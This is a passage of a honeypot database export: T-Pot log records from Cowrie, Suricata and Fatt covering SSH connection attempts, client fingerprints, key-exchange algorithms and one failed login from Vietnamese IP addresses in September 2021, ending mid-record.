25996	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:17.064646+03	2021-09-20 14:15:12.700646+03	{"_id": "IgbnAnwBvYTbRNuELh6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:53220 (192.168.176.2:22) [session: 2df4b53c5f5b]", "session": "2df4b53c5f5b", "@version": "1", "protocol": "ssh", "src_port": 53220, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.064646Z", "@timestamp": "2021-09-20T11:11:17.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25997	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.190094+03	2021-09-20 14:15:12.701646+03	{"_id": "PAbnAnwBvYTbRNuELh6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "47e7b17df857", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:17.190094Z", "@timestamp": "2021-09-20T11:11:17.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25998	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:17.406403+03	2021-09-20 14:15:12.702646+03	{"_id": "PgbnAnwBvYTbRNuELh6Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58462 (192.168.176.2:22) [session: 227585faa5ac]", "session": "227585faa5ac", "@version": "1", "protocol": "ssh", "src_port": 58462, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.406403Z", "@timestamp": "2021-09-20T11:11:17.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25999	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:17.632454+03	2021-09-20 14:15:12.703646+03	{"_id": "RAbnAnwBvYTbRNuEMB67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1469260737340616, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53220, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.632454Z", "@timestamp": "2021-09-20T11:11:17.632Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26000	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:17.753896+03	2021-09-20 14:15:12.704646+03	{"_id": "SQbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58462, "timestamp": "2021-09-20T11:11:17.753896", "@timestamp": "2021-09-20T11:11:17.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26001	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:19.066395+03	2021-09-20 14:15:12.705646+03	{"_id": "YQbnAnwBvYTbRNuENB6j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1417487054085859, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56778, "dest_port": 22, "timestamp": "2021-09-20T11:11:19.066395Z", "@timestamp": "2021-09-20T11:11:19.066Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26002	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:18.79845+03	2021-09-20 14:15:12.707647+03	{"_id": "YgbnAnwBvYTbRNuENR7C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:11:18.798450", "@timestamp": "2021-09-20T11:11:18.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26003	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:18.799146+03	2021-09-20 14:15:12.708646+03	{"_id": "ZQbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7976840379d8", "@version": "1", "timestamp": "2021-09-20T11:11:18.799146Z", "@timestamp": "2021-09-20T11:11:18.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26004	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:19.069171+03	2021-09-20 14:15:12.710645+03	{"_id": "bAbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1b5bc737f66b", "@version": "1", "timestamp": "2021-09-20T11:11:19.069171Z", "@timestamp": "2021-09-20T11:11:19.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26005	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:19.107438+03	2021-09-20 14:15:12.712646+03	{"_id": "bQbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [upload/password] failed", "session": "227585faa5ac", "@version": "1", "password": "password", "username": "upload", "timestamp": "2021-09-20T11:11:19.107438Z", "@timestamp": "2021-09-20T11:11:19.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26006	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:19.670281+03	2021-09-20 14:15:12.713646+03	{"_id": "bgbnAnwBvYTbRNuEOB6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1519767405304289, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57344, "dest_port": 22, "timestamp": "2021-09-20T11:11:19.670281Z", "@timestamp": "2021-09-20T11:11:19.670Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26013	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:12.626832+03	2021-09-20 14:15:12.721644+03	{"_id": "BQbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "35c4bd54841d", "@version": "1", "duration": 3.187779664993286, "timestamp": "2021-09-20T11:11:12.626832Z", "@timestamp": "2021-09-20T11:11:12.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26007	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:12.552836+03	2021-09-20 14:15:12.714645+03	{"_id": "9QbnAnwBvYTbRNuEHh1P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 